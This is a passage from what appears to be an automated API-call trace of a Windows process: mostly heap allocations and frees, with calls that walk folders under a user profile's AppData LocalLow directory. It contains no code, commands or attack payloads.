lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.182] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.182] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.182] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.182] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.182] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.182] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.182] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.182] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.182] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.183] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.183] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.183] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.183] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.183] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.183] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.183] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.183] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.183] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.183] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.183] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.183] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.183] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0119.183] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0119.183] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f7f38 [0119.183] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.183] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0119.183] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941478 [0119.183] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f38 | out: hHeap=0xd10000) returned 1 [0119.183] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0119.183] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.183] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941478 | out: hHeap=0xd10000) returned 1 [0119.183] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.183] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f7a0 [0119.183] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.183] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.183] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0119.183] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f7a0 | out: hHeap=0xd10000) returned 1 [0119.183] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.183] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0119.183] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0119.183] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947ce8 [0119.184] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0119.184] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.184] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0119.184] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.184] PathFindFileNameW (pszPath="") returned="" [0119.184] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.184] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.185] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39741b0 | out: hHeap=0xd10000) returned 1 [0119.185] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.185] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 1 [0119.185] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a438 [0119.185] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a360 [0119.185] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x38) returned 0x3983720 [0119.185] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0119.185] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974258 | out: hHeap=0xd10000) returned 1 [0119.185] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0119.185] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a510 [0119.185] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a360 | out: hHeap=0xd10000) returned 1 [0119.185] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a438 | out: hHeap=0xd10000) returned 1 [0119.185] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 0 [0119.185] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.185] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0119.185] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39743a8 | out: hHeap=0xd10000) returned 1 [0119.185] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.185] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x39301f8 [0119.185] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.185] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.185] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0119.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0119.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0119.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0119.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0119.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0119.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0119.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0119.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0119.190] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.190] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="Content\\" [0119.190] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0119.190] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0119.190] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.190] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.190] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.190] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.190] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0119.190] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.190] PathFindFileNameW (pszPath="") returned="" [0119.190] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.192] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.192] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.194] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0119.194] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS 